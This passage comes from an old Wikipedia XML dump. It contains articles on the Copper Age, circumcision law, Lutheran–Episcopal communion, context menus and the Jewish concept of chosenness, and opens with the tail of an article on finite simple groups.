Again, because the conclusion was unknown, and for a long time not even conceivable, the original proof consisted of many separate complete theorems, classifying important special cases. These proofs, in order to reach their own final statements, had to analyze numerous special cases. Often, most of the work was in these exceptions. As part of a larger, orchestrated proof, many of these special cases can be bypassed, to be handled when the most powerful assumptions can be applied. The price paid is that these original theorems, in the revised strategy, no longer have comparatively short proofs, but depend on the complete classification.

Nor were these separate theorems efficient regarding the subdivision of cases. Numerous target groups were identified multiple times as a result. The revised proof relies on a different subdivision of cases, eliminating these redundancies.

Finally, finite group theorists have more experience and new techniques.

== References ==

* Michael Aschbacher, ''[http://www.ams.org/notices/200407/fea-aschbacher.pdf The Status of the Classification of the Finite Simple Groups]'', Notices of the [[American Mathematical Society]], August [[2004]]
* Daniel Gorenstein, Richard Lyons, Ronald Solomon ''The Classification of the Finite Simple Groups'' [http://www.ams.org/online_bks/surv401/ (volume 1)], AMS, 1994 [http://www.ams.org/online_bks/surv402/ (volume 2)], AMS, 
* Ron Solomon: ''[http://www.ams.org/notices/199502/solomon.pdf On Finite Simple Groups and their Classification]'', Notices of the American Mathematical Society, February 1995
* Conway, J. H.; Curtis, R. T.; Norton, S. P.; Parker, R. A.; and Wilson, R. A.: &quot;''Atlas of Finite Groups: Maximal Subgroups and Ordinary Characters for Simple Groups.''&quot;  Oxford, England [[1985]].
* [http://www.eleves.ens.fr:8080/home/madore/math/simplegroups.html Orders of non abelian simple groups]: includes a list of all non-abelian simple groups up to order 10,000,000,000.
* [http://web.mat.bham.ac.uk/atlas/v2.0/ Atlas of Finite Group Representations]: contains [[Group representation|representations]] and other data for many finite simple groups, including all the sporadic groups except the [[Monster group]].

[[Category:Group theory]]
[[Category:Sporadic groups|*]]
[[Category:Finite groups]]
[[Category:Mathematical theorems]]

[[de:Endliche einfache Gruppen und ihre Klassifikation]]
[[fr:Groupe sporadique]]</text>
    </revision>
  </page>
  <page>
    <title>Copper Age</title>
    <id>7446</id>
    <revision>
      <id>37480768</id>
      <timestamp>2006-01-31T06:22:58Z</timestamp>
      <contributor>
        <ip>67.1.122.188</ip>
      </contributor>
      <comment>European Copper Age.</comment>
      <text xml:space="preserve">The '''Chalcolithic''' (Greek ''khalkos'' + ''lithos'' '[[copper]] stone') period, also known as the '''Eneolithic''' ('''Aeneolithic''') or '''Copper Age''' period, is a phase in the development of [[human]] culture in which the use of early [[metal]] [[tool]]s appeared alongside the use of [[Rock (geology)|stone]] tools.

The literature of European archaeology generally avoids the use of 'chalcolithic' (they prefer the term 'Copper Age'), while Middle-Eastern archaeologists regularly use it.  The Copper Age appeared much earlier in the Middle East, while the transition from the European Copper-Age to its own full-fledged Bronze-Age is far more rapid. Basically, the Europeans treated their prestige copper/bronze objects rather much like they did their stone objects, whereas the Middle-East had progressed beyond this. 

The period is a transitional one outside of the traditional [[three-age system]], and occurs between the [[neolithic]] and [[bronze age]]. It appears that copper was not widely exploited at first and that efforts in alloying it with [[tin]] and other metals began quite soon, making distinguishing distinct Chalcolithic cultures and periods difficult.

Because of this it is usually only applied by [[archaeologist]]s in some parts of the world, mainly south-east [[Europe]] and [[West Asia|Western]] and [[Central Asia|Central]] Asia where it appears around the [[4th millennium BC]]. Less commonly, it is also applied to American civilizations which already used copper and copper alloys at the time of Spanish conquest.

The European [[Beaker people]] are often considered Chalcolithic as were the cultures which first adopted urbanisation in south west Asia. Many [[megalith]]s in Europe were erected during this period and it has been suggested that  [[Proto-Indo-Europeans|Proto-Indo-European]] linguistic unity dates to around the same time.

[[Ötzi the Iceman]], found in the Ötztaler [[Alps]] and whose remains have been dated to about [[3300 BC]], carried a copper [[axe]] and [[flint]] [[knife]]. He appears to have been in a region of Europe which was transitioning through this period at that time.

[[Category:Copper Age| ]]

[[ar:عصر نحاسي]]
[[cs:Eneolit]]
[[da:Kobberalder]]
[[de:Kupfersteinzeit]]
[[el:Χαλκολιθική περίοδος]]
[[es:Edad del Cobre]]
[[fr:Chalcolithique]]
[[hu:Rézkor]]
[[ko:순동기 시대]]
[[it:Calcolitico]]
[[he:התקופה הכלקוליתית]]
[[la:Aevum cupri]]
[[nl:Kopertijd]]
[[pl:Eneolit]]
[[sk:Medená doba]]</text>
    </revision>
  </page>
  <page>
    <title>Circumcision and law</title>
    <id>7447</id>
    <revision>
      <id>22676755</id>
      <timestamp>2005-09-06T05:34:06Z</timestamp>
      <contributor>
        <username>Pingveno</username>
        <id>30062</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">==History==

Religious laws pertaining to [[circumcision]] are ancient.  The [[Hebrew Bible]] commands the [[Jew]]s to perform the operation on their male child's eighth day of life and also to circumcise their slaves (Genesis 17:11-12). See [[Brit milah]] (the Hebrew name for ritual  circumcision). 

Laws banning circumcision are also ancient. The ancient Greeks prized the foreskin and disapproved of the Jewish custom of circumcision.[http://www.cirp.org/library/history/hodges2/] Thus, banning circumcision may have been enacted as much to stop what the Greeks regarded as an abuse as for a deliberately anti-Jewish purpose.  

King Antiochus IV, of [[Syria]], the occupying power of the [[Holy Land]] in [[170 BCE]] decreed that circumcision was unlawful and punishable by death.  According to the ''[[Historia Augusta]]'', the [[Roman empire|Roman]] emperor [[Hadrian]] issued a decree banning circumcision in the empire,[http://www.cirp.org/library/history/hodges2/] triggering the Jewish [[Bar Kokhba]] revolt of [[132|132 CE]]. The Roman historian [[Cassius Dio]], however, made no mention of such a law, and blamed the Jewish uprising instead on Hadrian's decision to rebuild [[Jerusalem]] as [[Aelia Capitolina]], a city dedicated to [[Jupiter (god)|Jupiter]].

Hadrian's successor, [[Antoninus Pius]], permitted Jews to circumcise their own sons, but forbade them (upon [[capital punishment|penalty of death]] or [[banishment]]) from circumcising non-Jews. [[Genesis]] 17:12 commands that Jews must circumcise their slaves; this law prohibited that practice, as well as making it illegal for a man to convert to Judaism.  Antoninus Pius also exempted the [[Egypt]]ian priesthood from the otherwise universal ban on circumcision.

==Modern Law==

[[Circumcision]] has traditionally been presumed legal under British law. One [[1999]] case, ''Re &quot;J&quot; (child's religious upbringing and circumcision)''[http://www.cirp.org/library/legal/Re_J/] said that circumcision in Britain required the consent of all those with parental responsibility, or the permission of the court, acting for the best interests of the child, and issued an order prohibiting the circumcision of a male child of a non-practicing Muslim father and non-practicing Christian mother with custody. The reasoning included evidence that circumcision carried some medical risk; that the operation would be likely to weaken the relationship of the child with his mother, who strongly objected to circumcision without medical necessity; that the child may be subject to ridicule by his peers as the odd one out and that the operation might irreversibly reduce sexual pleasure, by permanently removing some sensory nerves, even though cosmetic foreskin restoration might be possible. The court did not rule out circumcision against the consent of one parent. It cited a hypothetical case of a Jewish mother and an agnostic father with a number of sons, all of whom, by agreement, had been circumcised as infants in accordance with Jewish laws; the parents then have another son who is born after they have separated; the mother wishes him to be circumcised like his brothers; the father, for no good reason, refuses his agreement. In such a case, a decision in favor of circumcision was said to be likely. The passage of the [[Human Rights Act 1998]] has caused some to speculate that the lawfulness of the circumcision of male children is unclear.[http://www.cirp.org/library/legal/edge1/]

In the United States, circumcision is not specifically unlawful, however, when performed on a child, some believe that the act violates general laws enacted for the protection of children. Doctors who still perform circumcisions on children must take care that all applicable rules regarding informed consent are satisfied. If consent is invalid, then a circumcision is a battery.[http://www.cirp.org/library/legal/conundrum/] An effort is currently underway in California to extend the ban on female circumcision to males, using the argument that the ban on female circumcision violates the Equal Protection Clause of the Fourteenth Amendement to the U.S. Constitution. [http://www.mgmbill.org] 

A non-binding research paper of the [[Queensland Law Reform Commission]] (''Circumcision of Male Infants'') concluded that &quot;On a strict interpretation of the assault provisions of the Queensland Criminal Code, routine circumcision of a male infant could be regarded as a criminal act&quot;, and that doctors who perform circumcision on male infants may be liable to civil claims by that child at a later date.[http://www.cirp.org/library/legal/QLRC/]  No prosecutions have occurred in Queensland, and circumcisions continue to be performed.

An attempt to have circumcision ruled illegal was rejected by the Israeli Supreme Court.[http://www.nocirc.org/publish/ar00.pdf] The North Dakota Supreme Court rejected a mother's attempt to prosecute her doctor for circumcising her child with her permission.[http://www.cirp.org/news/theforum09-04-04/] The Jackson County Circuit Court, and later Appeals Court refused a bid by Camile Azar to block the circumcision of her son.[http://www.examiner.net/stories/081004/new_081004010.shtml]

Anti-circumcision groups in various countries have attempted to persuade legislatures to ban circumcision outright. These attempts have thus far not been successful.

A parliamentarian in the Netherlands has called for the circumcision of male children to be made unlawful.[http://www.cirp.org/news/radionetherlands10-04-04/]

In Sweden, the circumcision of minors may only be performed under anaesthesia and, unless performed by a physician, must be performed within the first two months of life.[http://news.bbc.co.uk/1/hi/world/europe/1572483.stm]

In December 2004, Edwin B. Baxter was convicted of second degree child assault after he circumcised his son with a hunting knife. He was sentenced to serve three years in jail.[http://www.cirp.org/news/thecolumbian12-16-04/]

==External links==

* Gregory J Boyle, J. Steven Svoboda, Christopher P Price, J Neville Turner. [http://www.cirp.org/library/legal/boyle1/ Circumcision of Healthy Boys: Criminal Assault?] 7 Journal of Law and Medicine 301 (2000). The authors are leading anti-circumcision campaigners.

* Peter W Edge, [http://www.cirp.org/library/legal/edge1/ Male circumcision after the human rights act 1998]. 5 J Civil Liberties [U.K.] 320 (2000). 

* British Medical Association ''[http://www.bma.org.uk/ap.nsf/Content/malecircumcision2003 The law &amp; ethics of male circumcision - guidance for doctors] March 2003''

* Proposed bills to ban male circumcision in the U.S.: [http://www.mgmbill.org/ MGMbill.org]

[[Category:Circumcision debate]]</text>
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  </page>
  <page>
    <title>Churches Uniting In Christ</title>
    <id>7448</id>
    <revision>
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      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
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      <comment>merging two almost identical articles on the same subject</comment>
      <text xml:space="preserve">#REDIRECT [[Churches Uniting in Christ]]</text>
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  </page>
  <page>
    <title>Called to Common Mission</title>
    <id>7449</id>
    <revision>
      <id>42009013</id>
      <timestamp>2006-03-03T04:47:28Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/220.94.125.128|220.94.125.128]] ([[User talk:220.94.125.128|talk]]) to last version by Naconkantari</comment>
      <text xml:space="preserve">'''Called to Common Mission''' is an agreement between [[Episcopal Church in the United States of America|The Episcopal Church]] and the [[Evangelical Lutheran Church in America]] (ELCA), establishing full communion between them. Under the agreement, they recognize the validity of each other's [[baptism]]s and [[ordination]]s. The agreement provided that ELCA would accept the [[historic episcopate]], something which became controversial in ELCA. Conservatives within ELCA argued that requiring historic episcopate would contradict the traditional [[Lutheran doctrine]] that the church exists wherever the Word is preached and Sacraments are practiced. In response, the 2001 ELCA Churchwide Assembly adopted a bylaw permitting ordination of [[pastor]]s to be performed by another pastor with permission of the local synodical bishop in &quot;unusual circumstances&quot;. This would appear to contradict the agreement reached with the Episcopal Church, but that may depend on whether the bylaw is used in practice. The Presiding Bishop of the Episcopal Church expressed his disappointment at the Assembly's decision.

''See also'':
*[[Lutheranism]]
*[[Anglicanism]]

[[Category:Christian group structuring]]</text>
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  </page>
  <page>
    <title>Context menu</title>
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      <text xml:space="preserve">[[image:word.gif|frame|right|An example for a context menu taken from the [[word processor]] [[Microsoft Word]].]]

The term '''context menu''' is commonly used for menus which pop up when clicking an item in a [[graphical user interface]], offering a list of options which vary depending on the context of the action, the application running, and the item selected. These menus are typically invoked with a secondary mouse button (usually the right-hand button) on a computer running an [[operating system]] such as [[Microsoft Windows]], [[Mac OS X]] or [[Unix]] running the [[X Window System]]. Computers with a single-button mouse may use a keyboard-click combination, as with a '''Control-click''' in the [[Mac OS|Macintosh OS]]. PC keyboards with [[Microsoft]] [[Windows key]]s also have an additional '''menu''' key that opens context menus in [[Microsoft Windows]] applications.

Context menus first appeared in the [[Smalltalk]] environment on the [[Xerox Alto]] computer, where they were called ''pop-up menus.'' The [[NEXTSTEP]] operating system further developed the idea, incorporating a feature whereby the right or middle mouse button brought the main menu (which was vertical and automatically changed depending on context) to the location of the mouse, thereby eliminating the need to move the mouse pointer all the way across the large (for the time) NextStep screen.
 
Context menus are sometimes hierarchically organized, allowing navigation through different levels of the menu structure. The implementations differ: [[Microsoft Word]] was one of the first applications to only show sub-entries of some menu entries after clicking an arrow icon on the context menu, otherwise executing an action associated with the parent entry. This makes it possible to quickly repeat an action with the parameters of the previous execution, and to better separate options from actions.

Context menus have received some criticism from usability analysts when improperly used, as some applications make certain features ''only'' available in context menus, which may confuse even experienced users (especially when the context menus can only be activated in a limited area of the application's client window).

In some applications, like newer versions of [[Microsoft Office]], some of the &quot;infrequent&quot; items in the context menu are hidden by default. This is subject to criticism as users have to expand the menu before accessing items which are classified as infrequent items (which may not be as infrequent as assumed).

== See also ==
*[[Pie menu]]

[[Category:Graphical interface]]

[[de:Kontextmenü]]</text>
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  <page>
    <title>Jews as a chosen people</title>
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      <text xml:space="preserve">{{Jew}}

In Judaism, '''chosenness''' is the belief that the [[Jew]]s are a [[chosen people]]: chosen to be in a [[covenant]] with [[God]]. This idea is first found in the [[Torah]] (five books of [[Moses]]) and is elaborated on in later books of the [[Tanakh|Hebrew Bible]]. Much is written about this topic in [[rabbinic literature]].

== Chosenness in the Hebrew Bible ==
According to the [[Tanakh|Hebrew Bible]], Israel's character as the chosen people is conditioned by obedience to God's commandments. &quot;Now therefore, if you will obey my voice indeed, and keep my covenant, then you shall be a peculiar treasure unto me above all people. For all the earth is mine: and you shall be unto me a kingdom of priests, and a holy nation&quot; ([[Exodus]] 19:5, 6). &quot;The Lord did not set his love upon you, nor choose you, because you were more in number than any people; for you were the fewest of all people; but because the Lord loved you, and because he would keep the oath which he had sworn unto your ancestors.&quot; ([[Deuteronomy]] 7:7, 8).

The obligation imposed upon the Israelites is emphasized by the prophet [[Amos (prophet)|Amos]] ([[Book of Amos]] 3:2): &quot;You only have I singled out of all the families of the earth: therefore will I visit upon you all your iniquities.&quot;  This idea is also expressed in Deuteronomy 14:2: &quot;You are a holy people unto the Lord your God, and the Lord has chosen you to be a peculiar people unto Himself, above all peoples that are upon the face of the earth.&quot;

==Rabbinic Jewish views of chosenness==
The idea of chosenness has traditionally been interpreted by Jews in two ways: one way is that God chose the Israelites, while the other idea is that the Israelites chose God. Although collectively this choice was made freely, religious Jews believe that it created individual obligation for the descendants of the Israelites.

Crucial to the Jewish notion of chosenness is that it creates obligations exclusive to Jews, while non-Jews receive from God other covenants and other responsibilities. Generally, it does not entail exclusive rewards for Jews. Classical rabbinic literature holds that all mankind is made in the image of God. For example, [[Mishnah]] Avot 3:14, and [[Talmud|Babylonian Talmud]] Avot 9b, contain this teaching:

:[[Rabbi Akiva]] used to say, &quot;Beloved is man, for he was created in God&amp;rsquo;s image; and the fact that God made it known that man was created in His image is indicative of an even greater love. As the verse states [Genesis 9:6], 'In the image of God, man was created.')&quot;

Most Jewish texts do not state that &quot;God chose the Jews&quot; by itself. Rather, these claims are usually linked with a mission or purpose, such as proclaiming God's message among all the nations. This implies a special duty, which devolves from the belief that Jews have been pledged by the covenant which God concluded with the biblical patriarch [[Abraham]], their ancestor, and again with the entire Jewish nation at [[Mount Sinai]]. In this view, Jews are charged with living a holy life as God's priest-people.

In the [[Siddur|Jewish prayerbook (the siddur)]], chosenness is referred to in a number of ways. The blessing for reading the [[Torah]] reads &quot;Praised are you, Lord our God, King of the universe, who has chosen us out of all the nations and bestowed upon us his Torah.&quot; When read as two separate clauses, chosenness and the receiving of the Torah are two distinct aspects of Jewish identity. In this view, one would look to other rabbinic texts to understand what chosenness means. Some modern day prayerbook editors translate this as &quot;who has chosen us out of all the nations by bestowing upon us his Torah.&quot; thus making explicit their theology that chosenness is linked to receiving of the Torah.

There is a similar qualification in the prayer known as &quot;Kiddush&quot;, a prayer of sanctification in which the [[Shabbat|Sabbath]] is inaugurated over a cup of wine. The text reads &quot;For you have chosen us and sanctified us out of all the nations, and have given us the Sabbath as an inheritance in love and favour. Praised are you, Lord, who hallows the Sabbath.&quot;

The Aleinu prayer refers to the concept of Jews as a chosen people:
:It is our duty to praise the Master of all, to exalt the Creator of the Universe, who has not made us like the nations of the world and has not placed us like the families of the earth; who has not designed our destiny to be like theirs, nor our lot like that of all their multitude. We bend the knee and bow and acknowledge before the Supreme King of Kings, the Holy One, blessed be he, that it is he who stretched forth the heavens and founded the earth. His seat of glory is in the heavens above; his abode of majesty is in the lofty heights.
:(Translation by Philip Birnbaum, &quot;High Holyday Prayerbook&quot;)

An earlier form of this prayer, in use during the medieval era, contained an extra sentence:
:It is our duty to praise the Master of all, to exalt the Creator of the Universe, who has not made us like the nations of the world and has not placed us like the families of the earth; who has not designed our destiny to be like theirs, nor our lot like that of all their multitude '',who carry their wooden images and pray to a God who cannot give success.''

This sentence in italics is a quote from the Bible, [[Isaiah]] 45:20. &quot;Come, gather together, Draw nigh, you remnants of the nations! No foreknowledge had they who carry their wooden images and pray to a God who cannot give success.&quot; (New JPS)  In the medieval era some within the Christian community came to believe that this line referred to Christians worshipping Jesus; they demanded that it be excised. [[Ismar Elbogen]], a historian of the Jewish liturgy, held that the early form of the prayer pre-dated Christianity, and could not possibly have referred to it.

Rabbi Reuven Hammer of [[Masorti Judaism]] comments on the excised sentence:
:Originally the text read that God has not made us like the nations who &quot;bow down to nothingless and vanity, and pray to an impotent god,&quot; ...In the Middle Ages these words were censored, since the church believed they were an insult to Christianity. Omitting them tends to give the impression that the Aleinu teaches that we are both different and better than others. The actual intent is to say that we are thankful that God has enlightened us so that, unlike the pagans, we worship the true God and not idols. There is no inherent superiority in being Jewish, but we do assert the superiority of monotheistic belief over paganism. Although paganism still exists today, we are no longer the only ones to have a belief in one God.
:(Reuven Hammer, ''Or Hadash'', The Rabbinical Assembly, NY, 2003)

== Chosenness as superiority ==
In early medieval Europe, during a time of [[anti-Semitism|intense persecution of Jews]], the idea developed that chosenness meant that God loves Jews more than other human beings, or that Jews were in some way inherently superior to non-Jews. This philosophy was first widely taught by [[Yehuda Halevi]] in his ''[[Kuzari]]''.

A mystical version of this idea exists in parts of the [[Zohar]], one of the primary works of [[Kabbalah]], esoteric Jewish mysticism. The Zohar comments on the Biblical verse which states &quot;Let the waters teem with swarms of creatures that have a living soul&quot; as follows: &quot;The verse 'creatures that have a living soul,' pertains to the Jews, for they are the sons of God, and from God come their holy souls....And the souls of the other nations, from where do they come? Rabbi Elazar says that they have souls from the impure left side, and therefore they are all impure, defiling anyone who comes near them.&quot; (Zohar commentary on Genesis)

The ''Raya Mehemna'', a somewhat later work printed with the Zohar, has a similar view. One section states: &quot;Israel merited that God called them 'men,' as it is written 'But you My flock, the flock of My pasture, you are men,' 'If any man of you brings an offering.' Why are they called 'men'? For it is written 'And you who cling to the Lord your God'. This means you and not the other nations, and because of this 'you are men', you are called men...&quot; (''Raya Mehemna'', commentary on Torah portion Yitro, page 86a)

This view was accepted by the founder of the [[Lubavitch]] Hasidic dynasty, Shneur Zalman of Liady, in his [[Tanya]]. A section in this book holds that non-Jewish souls come from unclean kelipot (left-over shells of the universe's creation), while Jewish souls are of a higher character. (''Tanya'', Likkutay Amarim I, 5-11 and 6a). This book is accepted as authoritative by all Lubavitch Jews. Some rabbis, including [[Adin Steinsaltz]], downplay or significantly reinterpret this passage.

Over time views of this nature became popular among a segment of the Jewish community; however, such views were rejected by the majority of the Jewish community. Today they are explicitly rejected by all Reform and Conservative Jews, and are only a small minority view within modern Orthodox Judaism. These views are rejected by communal Jewish organizations such as the B'nai Brith, American Jewish Committee and Anti-Defamation League. 

The Encyclopedia Judaica states that &quot;It would seem that the more extreme, and exclusive, interpretations of the doctrine of election, among Jewish thinkers, were partly the result of reaction to oppression by the non-Jewish world. The more the Jew was forced to close in on himself, to withdraw into the imposed confines of the ghetto, the more he tended to emphasize Israel's difference from the cruel gentile without. Only thus did his suffering become intelligible and bearable. This type of interpretation reaches its height in the Kabbalistic idea that while the souls of Israel stem ultimately from God, the souls of the gentiles are merely of base material (kelippot, &quot;shells&quot;). When the Jew was eventually allowed to find his place in a gentile world, the less exclusivist aspect of the doctrine reasserted itself.&quot;

== Views of chosenness by the modern Jewish denominations ==
The three largest Jewish denominations -- [[Orthodox Judaism]], [[Conservative Judaism]] and [[Reform Judaism]] -- maintain the belief that the Jews have been chosen by God for a purpose.

===Orthodox views===
[[Rabbi]] Lord [[Immanuel Jakobovits]], former Chief Rabbi of the United Synagogue of [[Great Britain]] (Modern Orthodox Judaism), describes chosenness in this way: &quot;Yes, I do believe that the chosen people concept as affirmed by Judaism in its holy writ, its prayers, and its millennial tradition. In fact, I believe that every people - and indeed, in a more limited way, every individual - is &quot;chosen&quot; or destined for some distinct purpose in advancing the designs of Providence. Only, some fulfill their mission and others do not. Maybe the [[Hellenic civilization|Greek]]s were chosen for their unique contributions to art and philosophy, the [[ancient Rome|Roman]]s for their pioneering services in law and government, the [[British Empire|British]] for bringing parliamentary rule into the world, and the [[United States|American]]s for piloting democracy in a pluralistic society. The Jews were chosen by God to be 'peculiar unto Me' as the pioneers of religion and morality; that was and is their national purpose.&quot;

Rabbi [[Norman Lamm]], a leader of [[Modern Orthodox Judaism]] writes that &quot;The chosenness of Israel relates exclusively to its spiritual vocation embodied in the Torah; the doctrine, indeed, was announced at Sinai. Whenever it is mentioned in our liturgy - such as the blessing immediately preceding the Shema....it is always related to Torah or Mitzvot (''commandments''). This spiritual vocation consists of two complementary functions, described as &quot;Goy Kadosh,&quot; that of a holy nation, and &quot;Mamlekhet Kohanim,&quot; that of a kingdom of priests. The first term denotes the development of communal separateness or differences in order to achieve a collective self-transcendence.... The second term implies the obligation of this brotherhood of the spiritual elite toward the rest of mankind; priesthood is defined by the prophets as fundamentally a teaching vocation. ...  (''The Condition of Jewish Belief: A Symposium Compiled by the Editors of Commentary Magazine'', 1966)

Some [[Haredi]] Jews hold a differing point of view. Based on teachings in the Tanya and Zohar, they hold that Jews are &quot;exalted above&quot; or superior to non-Jews. &lt;!-- See the discussion in http://www.forward.com/issues/2003/03.12.19/news4b.html, though I cannot see the
&quot;tension&quot; mentioned towards the end. Somebody can be seen as both inferior and saved. --&gt;

===Conservative views===
[[Conservative Judaism]], also known as [[Masorti]] Judaism, views the concept of chosenness in this way:
:Few beliefs have been subject to as much misunderstanding as the &quot;Chosen People&quot; doctrine.  The Torah and the Prophets clearly stated that this does not imply any innate Jewish superiority.  In the words of Amos (3:2) &quot;You alone have I singled out of all the families of the earth - that is why I will call you to account for your iniquities&quot;. The Torah tells us that we are to be &quot;a kingdom of priests and a holy nation&quot; with obligations and duties which flowed from our willingness to accept this status. Far from being a license for special privilege, it entailed additional responsibilities not only toward God but to our fellow human beings. As expressed in the blessings at the reading of the Torah, our people have always felt it to be a privilege to be selected for such a purpose. For the modern traditional Jew, the doctrine of the election and the covenant of Israel offers a purpose for Jewish existence which transcends its own self interests. It suggests that because of our special history and unique heritage we are in a position to demonstrate that a people that takes seriously the idea of being covenanted with God can not only thrive in the face of oppression, but can be a source of blessing to its children and its neighbors. It obligates us to build a just and compassionate society throughout the world and especially in the [[land of Israel]] where we may teach by example what it means to be a &quot;covenant people, a light unto the nations. (''Emet Ve-Emunah: Statement of Principles of Conservative Judaism'', JTSA, New York, 1988, p.33-34)

===Reform Judaism===
[[Reform Judaism]] views the concept of chosenness in this way: &quot;Throughout the ages it has been Israel's mission to witness to the Divine in the face of every form of paganism and materialism. We regard it as our historic task to cooperate with all men in the establishment of the kingdom of God, of universal brotherhood, Justice, truth and peace on earth. This is our Messianic goal.&quot; (''The Guiding Principles of Reform Judaism'', Columbus, [[Ohio]], 1937)

In 1999 the Reform movement stated that &quot;We affirm that the Jewish people are bound to God by an eternal covenant, as reflected in our varied understandings of Creation, Revelation and Redemption....We are Israel, a people aspiring to holiness, singled out through our ancient covenant and our unique history among the nations to be witnesses to God's presence. We are linked by that covenant and that history to all Jews in every age and place.&quot; (''Statement of Principles for Reform Judaism'', adopted at the 1999 [[Pittsburgh]] Convention, Central Conference of American Rabbis)

===Criticism of chosenness: Reconstructionist Judaism===
[[Reconstructionist Judaism]] rejects the concept of chosenness. Its founder, Rabbi [[Mordecai Kaplan]], said that the idea that God chose the Jewish people leads to racist beliefs among Jews, and thus must be excised from Jewish theology. This rejection of chosenness is made explicit in the movement's [[siddur|siddurim]] (prayer books).

For example, the original blessing recited before reading from the Torah from contains the phrase &quot;asher bahar banu mikol ha&amp;rsquo;amim&quot;; &quot;Praised are you Lord our God, ruler of the Universe, ''who has chosen us from among all peoples'' by giving us the Torah.&quot;  The Reconstructionist version is rewritten as &quot;asher kervanu la&amp;rsquo;avodato&quot;, &quot;Praised are you Lord our God, ruler of the Universe, ''who has drawn us to your service'' by giving us the Torah.

In the mid-1980s the Reconstructionist movement issued its ''Platform on Reconstructionism''. It states that the idea of chosenness is &quot;morally untenable&quot;, because anyone who has such beliefs &quot;implies the superiority of the elect community and the rejection of others.&quot; (Federation of Reconstructionist Congregations and Havurot, newsletter, Sept. 1986, pages D, E.)

Note, however, that not all Reconstructionist accept this view. The newest siddur of the movement, ''Kol Haneshamah'', includes the traditional blessings as an option, and some modern Reconstructionist writers have opined that the traditional formulation is not racist, and should be embraced. (e.g. Mitchell Max, ''The Chosen People: Reclaiming Our Sacred Myth'')

An original prayer book by Reconstructionist feminist poet [[Marcia Falk]], ''The Book of Blessings'' has been widely accepted by both Reform and Reconstructionist Jews. Falk rejects all concepts relating to hierarchy or distinction; she sees any distinction as leading to the acceptance of other kinds of distinctions, and thus leading to prejudice. She writes that as a politically liberal lesbian, she must reject distinctions made between men and women, homosexuals and heterosexuals, Jews and non-Jews, and to some extent even distinctions between the Sabbath and the other six days of the week. She thus rejects idea of chosenness as unethical. She also rejects Jewish theology in general, and instead holds to a form of religious humanism. Falk writes &quot;The idea of Israel as God's chosen people...is a key concept in rabbinic Judaism. Yet it is particularly problematic for many Jews today, in that it seems to fly in the face of monotheistic belief that all humanity is created in the divine image - and hence, all humanity is equally loved and valued by God...I find it difficult to conceive of a feminist Judaism that would incorporate it in its teaching: the valuing of one people ''over and above'' others is all to analogous to the privileging of one sex over another.&quot; (Falk, 1996)

Reconstructionist author [[Judith Plaskow]] also criticises the idea of chosenness, for many of the same reasons as Falk. Also a politically liberal lesbian, Plaskow rejects most distinctions made between men and women, homosexuals and heterosexuals, and Jews and non-Jews. In contrast to Falk, Plaskow does not reject all concepts of differences as inherently leading to unethical beliefs, and holds to a more classical form of Jewish theism than Falk.

A number of responses to these views have been made by Reform and Conservative Jews; they hold that these criticisms are against teachings that do not exist within liberal forms of Judaism, and which are rare in Orthodox Judaism. A separate criticism stems from the very existence of feminist forms of Judaism in all denominations of Judaism, which do not have a problem with the concepts of chosenness.

== Charges of racism ==
Many books and websites promote the idea that Judaism is inherently racist. Hundreds of websites exist run by [[neo-Nazi]]s, [[White supremacy]] advocates, [[Christian Identity]] adherents, and radical [[Islamist]] groups offer what they claim are authoritative quotes from rabbinic literature, all attempting to prove that Jews hate non-Jews and perceive them as non-human. 

These books and websites generally attempt to prove their thesis through two techniques, (a) outright fabrication of quotes, and (b) quote-mining. Quote-mining is the deliberate sifting of hundreds, or thousands, of years of a literature to find a small group of quotes, and then presenting these quotes out of their historical context in order to falsely present the beliefs of a few people as the beliefs of all members of a religious, ethnic or national group. Writings such as the Talmud, which contain arguments immediately followed by refuting counterarguments, are particularly subject to such abuses.

Many books on [[anti-Semitism]] have studied this phenomenon. The [[Anti-Defamation League]] issued a report on the proliferation of such books:

:By selectively citing various passages from the Talmud and Midrash, polemicists have sought to demonstrate that Judaism espouses hatred for non-Jews (and specifically for Christians), and promotes obscenity, sexual perversion, and other immoral behavior. To make these passages serve their purposes, these polemicists frequently mistranslate them or cite them out of context (wholesale fabrication of passages is not unknown)...

:In distorting the normative meanings of rabbinic texts, anti-Talmud writers frequently remove passages from their textual and historical contexts. Even when they present their citations accurately, they judge the passages based on contemporary moral standards, ignoring the fact that the majority of these passages were composed close to two thousand years ago by people living in cultures radically different from our own. They are thus able to ignore Judaism&amp;rsquo;s long history of social progress and paint it instead as a primitive and parochial religion.

:Those who attack the Talmud frequently cite ancient rabbinic sources without noting subsequent developments in Jewish thought, and without making a good-faith effort to consult with contemporary Jewish authorities who can explain the role of these sources in normative Jewish thought and practice. 

[[Gil Student]], an expert on exposing anti-Semitic Talmud usage, writes that &quot;Anti-Talmud accusations have a long history dating back to the [[13th century]] when the associates of the Inquisition attempted to defame Jews and their religion [see [[Yitzchak Baer]], ''A History of Jews in Christian Spain'', vol. I pp. 150-185]. The early material compiled by hateful preachers like [[Raymond Martini]] and [[Nicholas Donin]] remain the basis of all subsequent accusations against the Talmud. Some are true, most are false and based on quotations taken out of context, and some are total fabrications [see Baer, ch. 4 f. 54, 82 that it has been proven that Raymond Martini forged quotations]. On the Internet today we can find many of these old accusations being rehashed...&quot;

Books and websites that charge the Jewish people with collective racism generally rely on the above mentioned fabricated or out-of-context quotes, and ignore explicit statements on the topic from representatives of mainstream Jewish denominations. Each of the modern mainstream denominations of Judaism is on record as opposing any form of racism.

Rabbi [[Joseph Soloveitchik]] writes &quot;Even as the Jew is moved by his private Sinaitic Covenant with God to embody and preserve the teachings of the Torah, he is committed to the belief that all mankind, of whatever color or creed, is &amp;ldquo;in His image&amp;rdquo; and is possessed of an inherent human dignity and worthiness. Man&amp;rsquo;s singularity is derived from the breath &amp;ldquo;He [God] breathed into his nostrils at the moment of creation&amp;rdquo; (Genesis 2:7). Thus, we do share in the universal historical experience, and God&amp;rsquo;s providential concern does embrace all of humanity.&quot; (''Man of Faith in the Modern World'', p. 74)

Rabbi Malkiel Kotler, dean of the [[Haredi Judaism|Haredi]] Lakewood Yeshiva, writes &quot;Our philosophy asserts that every human being is created in the image of the Lord and the primacy of integrity and honesty in all dealings without exception. I strongly repudiate any assertions in the name of Judaism that do not represent and reflect this philosophy.&quot; (Source: ''The Real Truth About the Talmud'' website)

==See also==
